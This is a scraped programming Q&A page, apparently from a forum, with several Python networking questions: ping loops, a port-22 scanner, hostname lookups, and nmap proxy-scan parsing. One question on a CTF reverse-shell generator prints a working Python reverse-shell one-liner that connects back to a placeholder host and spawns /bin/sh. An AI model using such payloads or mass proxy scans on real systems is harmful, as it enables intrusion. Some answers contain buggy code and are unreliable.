This is the code. Somehow the output is not consistent. There is a new line for the first 2 lines in ip.txt while the third is working as expected.
code.py
import subprocess
with open('ip.txt') as f:
for IPAddr in f:
ping = subprocess.Popen(['ping','-c','1',IPAddr],stdout=f).wait()
if ping == 0:
print(f'{IPAddr} is up')
else:
print(f'{IPAddr} is down')
ip.txt
127.0.0.1
10.0.0.1
127.0.0.1
Output
user#linux:~$ python 01.py
127.0.0.1
is up
10.0.0.1
is down
127.0.0.1 is up
user#linux:~$
Desired Output
user#linux:~$ python code.py
127.0.0.1 is up
10.0.0.1 is down
127.0.0.1 is up
user#linux:~$
What's wrong with this code and how to fix it?
Update
The following solutions work! Many thanks
IPAddr = IPAddr.replace('\n','')
IPAddr = IPAddr.rstrip("\n")
IPAddr = IPAddr.strip()
You're including the newline characters from your file in your print.
Remove the \n like this:
import subprocess
with open('ip.txt') as f:
for IPAddr in f:
IPAddr = IPAddr.replace('\n', '') # Remove the newline
ping = subprocess.Popen(['ping','-c','1',IPAddr],stdout=f).wait()
if ping == 0:
print(f'{IPAddr} is up')
else:
print(f'{IPAddr} is down')
Or if you want to do it more broadly, you can remove all whitespace by using:
IPAddr = IPAddr.strip()
Or if you want to be super duper efficient, just strip the \n from the right:
IPAddr = IPAddr.rstrip("\n")
When iterating over a file line by line, each line ends with the newline marker ("\n"), so what you pass to print() is actually "127.0.0.1\n is up", not "127.0.0.1 is up".
The solution is quite simple: remove the newline:
for IPAddr in f:
IPAddr = IPAddr.rstrip("\n")
# etc
Note that since external inputs (files, user inputs etc) are totally unreliable, you would be better stripping all whitespaces from the line, check it's not empty (it's common to have empty lines in text files, specially at the end) and then skip that line (with a continue statement), and if not empty you probably want to validate the value is a valid IP address (and if not skip it too)...
Related
So I'm making a python program that would ping a host and see if that host has the port open. But after the first host is discovered, the program exits. I want the program to write all the hosts that have port 22 open to the alive_hosts.txt file. Any help would be appreciated. Thanks!
The hosts.txt file looks like this:
192.168.1.1
192.168.1.5
192.168.2.13
192.168.5.4
...
import socket
fp = open("hosts.txt", "r")
fp2 = open("alive_hosts.txt", "a")
Lines = fp.readlines()
for line in Lines:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.37)
result = s.connect_ex((line, 22))
s.close()
fp2.write(line + "\n")
continue
except Exception:
pass
When you read a file line by line, you get the trailing newline character on each line. This makes the hostname lookup fail, so you need to strip that away. Also, you do not need readlines(); you can iterate directly of the open file:
for line in fp:
line = line[:-1] # Strip trailing newline
s = socket.socket(...)
I would also recommend trying to narrow down the try: block a bit. As the code looks now, you are, for example, handling write errors to the output file the same as a non-responsive host!
I would do something like
for line in fp:
hostname = line[:-1] # Strip newline.
# Use a resource manager block so that we don't have to
# remember to close the socket.
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(0.37)
try:
# Keep the code inside 'try' to a minimum.
result = s.connect_ex((hostname, 22))
except Exception as e:
# print('Error:', e)
# Something went wrong, skip rest of iteration.
continue
# If we get here, all went ok. Write to output file.
fp2.write(hostname + "\n")
Remove the 'continue' as instead of continuing the for loop, it is skipping over the for loop.
I am at the moment experiencing some issues with my code. I am creating a reverse shell generator that automates with pentests for Capture flag competitions.
The script will read a file containing payloads, further the script will choose a specific line to be fetched and then replace the back connect ip address and port and output the payload to the user.
However i am stuck on some issues. The issue is that i am trying to replace two different strings upon reading a file containing my text, one of the strings gets replaced, while the other do not:
Strings to be replaced
[ip]
[port]
I have as well reviewed previous article using regex, but did not get further luck. Recieving error on the regex part that is commented out in my code: "unexpected token"
My code:
import socket
import base64
import hashlib
import re
import os # Fetching ip from interface
import linecache # for reading specific lines
ip = str(input("Host ip\n"))
port = str(input("port\n"))
#shell = str(input("Please select an option?\n"))
def full():
print("Welcome, lets generate a choosen reverse shell\n")
global ip
global port
print("please select language and shell option:\n [1] - python(Alphanumeric reverse shell)\n, [2] PHP(Alphanumeric reverse shell)\n")
selection = input("Type in number:\t")
if int(selection) == 1:
with open("myshells.txt", "r") as shells:
#for myreplace in (("[ip]", ip), ("[port]", port)):
fetchshell = linecache.getline('myshells.txt', 1)
ipreplaced = fetchshell.replace("[ip]", ip)
ipreplaced = fetchshell.replace("[port]", port)
print(ipreplaced)
"""for line in fetchshell:
myport = line.write(re.sub(r"(port)", port))
myip = line.write((re.sub(r"(ip)", ip))
print(line)"""
File contents:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],[port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Sample output from above code:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],22));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
I have created this below script and it works fine. But the output is not friendly (see below). I want the first line to display only the hostname and IP and remove (,'[], please suggest
('testhostname', [], ['10.10.10.10'])
cannot resolve hostname: 10.10.10.11
import socket
pfile = open ('C:\\Python27\\scripts\\test.txt')
while True:
IP = pfile.readline()
if not IP:
break
try:
host = socket.gethostbyaddr(IP.rstrip())
print host
except socket.herror, err:
print "cannot resolve hostname: ", IP
pfile.close()
Rather than printing all of the host tuple that is returned by gethostbyaddr, I suggest unpacking into separate variables that you can then print as you see fit:
hostname, alias_list, ip_addr_list = gethostbyaddr(IP.rstrip())
print hostname, ip_addr_list # or ip_addr_list[0] if you only want the one IP
If you want more control over the formatting, I suggest using the str.format method:
print "hostname: {}, IP(s): {}".format(hostname, ", ".join(ip_addr_list))
Also, a few other code suggestions (not directly related to your main question):
Use a with statement rather than manually opening and closing your file.
Iterate on the file object directly (with for IP in pfile:), rather than using while True: and calling pfile.readline() each time through.
Use the syntax except socek.herror as err rather than the older form with commas (which is deprecated in Python 2 and no longer exists in Python 3).
I'm trying to set up a script that re-writes the interfaces file and eventually it will change the ip address to static, but when I run it I get an error the line that reads ' new_location_interfaces.truncate()' and it says that 'str' object has no attribute truncate.
from sys import argv
from os.path import exists
import os
script_name = argv
print "You are currently running %s" % script_name
print "Version: 0.1"
print """Desciption: This script will change the IP address of the
Raspberry Pi from dynamic to static.
"""
print "If you don\'t want to continue, hit CTRL-C (^C)."
print "If you do want that, hit RETURN"
raw_input("?")
# Main code block
text_to_copy = """
auto lo\n
iface lo inet loopback
iface etho inet dhcp\n
allow-hotplug wlan0
iface wlan0 inet manual
wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
iface default inet dhcp
"""
if exists("/etc/network/interfaces"):
print "\nFile exists."
interfaces_file = open("/etc/network/interfaces", 'w')
print "Truncating/erasing contents . ."
interfaces_file.truncate()
print "Writing contents . ."
interfaces_file.write(text_to_copy)
interfaces_file.close()
else:
print "\nCould not find the \'interfaces\' file."
print "Please specify the location:",
new_location_interfaces = raw_input()
open(new_location_interfaces, 'w')
print "Truncating/erasing contents . ."
new_location_interfaces.truncate()
print "Writing contents . ."
new_location_interfaces.write(text_to_copy)
new_location_interfaces.close()
I am very new to python and my code is probably terrible but any help would be appreciated.
new_location_interfaces is not a file object. It is a string, the result of the raw_input() call:
new_location_interfaces = raw_input()
The next line, the open() call, is not assigned to anything:
open(new_location_interfaces, 'w')
Perhaps you wanted to truncate that object?
For example:
new_location_interfaces = raw_input()
fh = open(new_location_interfaces, 'w')
print "Truncating/erasing contents . ."
fh.truncate()
print "Writing contents . ."
fh.write(text_to_copy)
fh.close()
However, opening a file for writing (mode set to w) already truncates the file, your .truncate() calls are entirely redundant.
Try indenting the spaces, here the errors occur because of the randomized mistake also try the for x in c:
print c
I'm still learning python, and one of the first projects I decided to dive into was something to sort through large nmap logs, pull out the OPEN ports, and dump them to a separate text file in IP:Port format. It works, but is there a better way to write this? Here's what I ended up with:
import sys
import string
"""
Written 6/24/2011 to pull out OPEN ports of an nmap proxy scan
Command:
nmap 218.9-255.0-255.0-255 -p 8080,3128,1080 -M 50 -oG PLog3.txt
"""
if len(sys.argv) != 3:
print 'Usage: python proxy.py <input file> <output file>'
print 'nmap 218.1-255.0-255.0-255 -p 8080,3128,1080 -M 50 -oG PLog.txt'
print 'Example: python ./proxy.py PLog.txt proxies.txt'
sys.exit(1)
r = open(sys.argv[1], 'r')
o = open(sys.argv[2], 'w')
pat80 = '80/open/'
pat8080 = '8080/open'
pat3128 = '3128/open'
for curline in r.xreadlines():
sift = string.split(curline, ' ')
ip = sift[1]
if curline.find(pat3128) >= 0:
curport = '3128'
elif curline.find(pat8080) >= 0:
curport = '8080'
elif curline.find(pat80) >= 0:
curport = '80'
else:
curport = '100'
pass
if (curport == '3128') or (curport == '8080') or (curport == '80'):
o.write(ip + ':' + curport + '\n')
print ip + ':' + curport
else:
pass
You can loop over a file like this. There is no need to use xreadlines(). with makes sure the file is closed when r goes out of scope
with open(sys.argv[1], 'r') as r:
for curline in r:
sift = string.split(curline, ' ')
ip = sift[1]
...
Looking in a tuple is neater than the chain of or
if curport in ('3128', '8080', '80'):
Since I seem to remember using python to parse nmap output files was one of my first python applications, I can make a couple of recommendations:
1) If you'd like to learn XML parsing and python, using the alternate XML format of nmap would be advised. This has the advantage that the XML output is less like to change in small but script breaking ways unlike the plain text output. (Basically, matching on string fields is great for a quick hack but is almost guaranteed to bite you down the road, as I found out when nmap was updated and they slightly changed the format of one of the columns I was parsing on... also think I got bit when we upgraded one of the Windows boxes and some of the text in the OS or services fields matched something I was matching on. If you're interested in going down this path, I can see if I have my nmap parser using xpath lying around
2) If you want to stick with text output and regexp, I'd suggest learning about grouping.
Specifically, rather than creating custom patterns for each port, you can define a group and check that out instead.
import re
r = re.compile("(/d+)/open") # match one or more digits followed by /open
mm = r.match(line) #mm will either be None or a match result object, if mm is not None, you can do mm.groups()[0] to get the port #.
import sys
import string
"""
Written 6/24/2011 to pull out OPEN ports of an nmap proxy scan
Command:
nmap 218.9-255.0-255.0-255 -p 8080,3128,1080 -M 50 -oG PLog3.txt
"""
def get_port(line):
port_mapping = {
'80/open/': '80', # Is the backslash special here?
# If they're really all supposed to have the same form,
# then we can simplify more.
'8080/open': '8080',
'3128/open': '3128'
}
for pattern, port in port_mapping:
if pattern in line: return port
return None # this would be implied otherwise,
# but "explicit is better than implicit"
# and this function intends to return a value.
def main(in_name, out_name):
with file(in_name, 'r') as in_file:
ips = (get_port(line.split(' ')[1]) for line in in_file)
with file(out_name, 'w') as out_file:
for ip in ips:
if ip == None: continue
output = '%s:%s' % (ip, curport)
out_file.write(output + '\n')
print output
def usage():
print 'Usage: python proxy.py <input file> <output file>'
print 'nmap 218.1-255.0-255.0-255 -p 8080,3128,1080 -M 50 -oG PLog.txt'
print 'Example: python ./proxy.py PLog.txt proxies.txt'
if __name__ == '__main__':
if len(sys.argv) != 3: usage()
else: main(*sys.argv[1:])
Check out argparse for handling the arguments.
Split into functions.
Use the main construct.
Look at the csv module. You can set the delimiter to a space.
Look again at the re expression. You can do it with one re expression where it is an 'or' of the different patterns.